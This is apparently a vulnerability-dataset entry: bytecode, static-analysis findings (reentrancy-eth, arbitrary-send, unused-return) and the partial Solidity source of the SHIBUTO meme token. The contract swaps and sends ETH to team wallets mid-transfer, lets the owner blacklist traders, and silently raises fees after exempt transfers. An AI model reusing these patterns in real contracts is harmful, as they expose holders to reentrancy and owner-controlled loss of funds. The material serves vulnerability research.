c4e90612e87565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16655af3107a400061129e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2a57600080fd5b505afa158015610d3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6291906127b7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc457600080fd5b505afa158015610dd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfc91906127b7565b6040518363ffffffff1660e01b8152600401610e19929190612c57565b602060405180830381600087803b158015610e3357600080fd5b505af1158015610e47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6b91906127b7565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef430610780565b600080610eff610924565b426040518863ffffffff1660e01b8152600401610f2196959493929190612ca9565b6060604051808303818588803b158015610f3a57600080fd5b505af1158015610f4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f739190612963565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555065021782aed8006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611073929190612c80565b602060405180830381600087803b15801561108d57600080fd5b505af11580156110a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c59190612911565b5050565b6110d1611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115590612e07565b60405180910390fd5b600081116111a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119890612dc7565b60405180910390fd5b6111cd60646111bf83655af3107a4000611f5990919063ffffffff16565b611fd490919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516112049190612ea7565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590612e67565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612d87565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161145c9190612ea7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d090612e47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154090612d47565b60405180910390fd5b6000811161158c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158390612e27565b60405180910390fd5b6007600a81905550600c600b819055506115a4610924565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161257506115e2610924565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a5e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116bb5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116c457600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561176f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117c55750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117dd5750601060179054906101000a900460ff165b1561188d576011548111156117f157600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061183c57600080fd5b601e426118499190612fdd565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119385750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561198e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119a4576007600a81905550600c600b819055505b60006119af30610780565b9050601060159054906101000a900460ff16158015611a1c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a345750601060169054906101000a900460ff165b15611a5c57611a4281611c5f565b60004790506000811115611a5a57611a5947611b85565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b055750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0f57600090505b611b1b8484848461201e565b50505050565b6000838311158290611b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b609190612d25565b60405180910390fd5b5060008385611b7891906130be565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bed573d6000803e3d6000fd5b5050565b6000600854821115611c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2f90612d67565b60405180910390fd5b6000611c4261204b565b9050611c578184611fd490919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cbd577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ceb5781602001602082028036833780820191505090505b5090503081600081518110611d29577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dcb57600080fd5b505afa158015611ddf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e0391906127b7565b81600181518110611e3d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ea430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129e565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f08959493929190612ec2565b600060405180830381600087803b158015611f2257600080fd5b505af1158015611f36573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b600080831415611f6c5760009050611fce565b60008284611f7a9190613064565b9050828482611f899190613033565b14611fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc090612de7565b60405180910390fd5b809150505b92915050565b600061201683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612076565b905092915050565b8061202c5761202b6120d9565b5b61203784848461211c565b80612045576120446122e7565b5b50505050565b60008060006120586122fb565b9150915061206f8183611fd490919063ffffffff16565b9250505090565b600080831182906120bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b49190612d25565b60405180910390fd5b50600083856120cc9190613033565b9050809150509392505050565b6000600a541480156120ed57506000600b54145b156120f75761211a565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061212e87612354565b95509550955095509550955061218c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061226d81612464565b6122778483612521565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122d49190612ea7565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000655af3107a4000905061232b655af3107a4000600854611fd490919063ffffffff16565b82101561234757600854655af3107a4000935093505050612350565b81819350935050505b9091565b60008060008060008060008060006123718a600a54600b5461255b565b925092509250600061238161204b565b905060008060006123948e8787876125f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b21565b905092915050565b60008082846124159190612fdd565b90508381101561245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190612da7565b60405180910390fd5b8091505092915050565b600061246e61204b565b905060006124858284611f5990919063ffffffff16565b90506124d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612536826008546123bc90919063ffffffff16565b6008819055506125518160095461240690919063ffffffff16565b6009819055505050565b6000806000806125876064612579888a611f5990919063ffffffff16565b611fd490919063ffffffff16565b905060006125b160646125a3888b611f5990919063ffffffff16565b611fd490919063ffffffff16565b905060006125da826125cc858c6123bc90919063ffffffff16565b6123bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260a8589611f5990919063ffffffff16565b905060006126218689611f5990919063ffffffff16565b905060006126388789611f5990919063ffffffff16565b905060006126618261265385876123bc90919063ffffffff16565b6123bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061268d61268884612f5c565b612f37565b905080838252602082019050828560208602820111156126ac57600080fd5b60005b858110156126dc57816126c288826126e6565b8452602084019350602083019250506001810190506126af565b5050509392505050565b6000813590506126f581613571565b92915050565b60008151905061270a81613571565b92915050565b600082601f83011261272157600080fd5b813561273184826020860161267a565b91505092915050565b60008135905061274981613588565b92915050565b60008151905061275e81613588565b92915050565b6000813590506127738161359f565b92915050565b6000815190506127888161359f565b92915050565b6000602082840312156127a057600080fd5b60006127ae848285016126e6565b91505092915050565b6000602082840312156127c957600080fd5b60006127d7848285016126fb565b91505092915050565b600080604083850312156127f357600080fd5b6000612801858286016126e6565b9250506020612812858286016126e6565b9150509250929050565b60008060006060848603121561283157600080fd5b600061283f868287016126e6565b9350506020612850868287016126e6565b925050604061286186828701612764565b9150509250925092565b6000806040838503121561287e57600080fd5b600061288c858286016126e6565b925050602061289d85828601612764565b9150509250929050565b6000602082840312156128b957600080fd5b600082013567ffffffffffffffff8111156128d357600080fd5b6128df84828501612710565b91505092915050565b6000602082840312156128fa57600080fd5b60006129088482850161273a565b91505092915050565b60006020828403121561292357600080fd5b60006129318482850161274f565b91505092915050565b60006020828403121561294c57600080fd5b600061295a84828501612764565b91505092915050565b60008060006060848603121561297857600080fd5b600061298686828701612779565b935050602061299786828701612779565b92505060406129a886828701612779565b9150509250925092565b60006129be83836129ca565b60208301905092915050565b6129d3816130f2565b82525050565b6129e2816130f2565b82525050565b60006129f382612f98565b6129fd8185612fbb565b9350612a0883612f88565b8060005b83811015612a39578151612a2088826129b2565b9750612a2b83612fae565b925050600181019050612a0c565b5085935050505092915050565b612a4f81613104565b82525050565b612a5e81613147565b82525050565b6000612a6f82612fa3565b612a798185612fcc565b9350612a89818560208601613159565b612a9281613293565b840191505092915050565b6000612aaa602383612fcc565b9150612ab5826132a4565b604082019050919050565b6000612acd602a83612fcc565b9150612ad8826132f3565b604082019050919050565b6000612af0602283612fcc565b9150612afb82613342565b604082019050919050565b6000612b13601b83612fcc565b9150612b1e82613391565b602082019050919050565b6000612b36601d83612fcc565b9150612b41826133ba565b602082019050919050565b6000612b59602183612fcc565b9150612b64826133e3565b604082019050919050565b6000612b7c602083612fcc565b9150612b8782613432565b602082019050919050565b6000612b9f602983612fcc565b9150612baa8261345b565b604082019050919050565b6000612bc2602583612fcc565b9150612bcd826134aa565b604082019050919050565b6000612be5602483612fcc565b9150612bf0826134f9565b604082019050919050565b6000612c08601783612fcc565b9150612c1382613548565b602082019050919050565b612c2781613130565b82525050565b612c368161313a565b82525050565b6000602082019050612c5160008301846129d9565b92915050565b6000604082019050612c6c60008301856129d9565b612c7960208301846129d9565b9392505050565b6000604082019050612c9560008301856129d9565b612ca26020830184612c1e565b9392505050565b600060c082019050612cbe60008301896129d9565b612ccb6020830188612c1e565b612cd86040830187612a55565b612ce56060830186612a55565b612cf260808301856129d9565b612cff60a0830184612c1e565b979650505050505050565b6000602082019050612d1f6000830184612a46565b92915050565b60006020820190508181036000830152612d3f8184612a64565b905092915050565b60006020820190508181036000830152612d6081612a9d565b9050919050565b60006020820190508181036000830152612d8081612ac0565b9050919050565b60006020820190508181036000830152612da081612ae3565b9050919050565b60006020820190508181036000830152612dc081612b06565b9050919050565b60006020820190508181036000830152612de081612b29565b9050919050565b60006020820190508181036000830152612e0081612b4c565b9050919050565b60006020820190508181036000830152612e2081612b6f565b9050919050565b60006020820190508181036000830152612e4081612b92565b9050919050565b60006020820190508181036000830152612e6081612bb5565b9050919050565b60006020820190508181036000830152612e8081612bd8565b9050919050565b60006020820190508181036000830152612ea081612bfb565b9050919050565b6000602082019050612ebc6000830184612c1e565b92915050565b600060a082019050612ed76000830188612c1e565b612ee46020830187612a55565b8181036040830152612ef681866129e8565b9050612f0560608301856129d9565b612f126080830184612c1e565b9695505050505050565b6000602082019050612f316000830184612c2d565b92915050565b6000612f41612f52565b9050612f4d828261318c565b919050565b6000604051905090565b600067ffffffffffffffff821115612f7757612f76613264565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612fe882613130565b9150612ff383613130565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561302857613027613206565b5b828201905092915050565b600061303e82613130565b915061304983613130565b92508261305957613058613235565b5b828204905092915050565b600061306f82613130565b915061307a83613130565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130b3576130b2613206565b5b828202905092915050565b60006130c982613130565b91506130d483613130565b9250828210156130e7576130e6613206565b5b828203905092915050565b60006130fd82613110565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061315282613130565b9050919050565b60005b8381101561317757808201518184015260208101905061315c565b83811115613186576000848401525b50505050565b61319582613293565b810181811067ffffffffffffffff821117156131b4576131b3613264565b5b80604052505050565b60006131c882613130565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131fb576131fa613206565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61357a816130f2565b811461358557600080fd5b50565b61359181613104565b811461359c57600080fd5b50565b6135a881613130565b81146135b357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122035e705ffa6881aa397b8866d43ef4749b4c0ef3144ae8694fd37ad688f1ec97764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,062 |
0xaea02f1f70ad245386e521cb0b032751a79cc74c
|
// Telegram: https://t.me/Shibuto
// Website: https://www.shibuto.com/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHIBUTO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SHIBUTO";
string private constant _symbol = "SHIBUTO";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 20000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
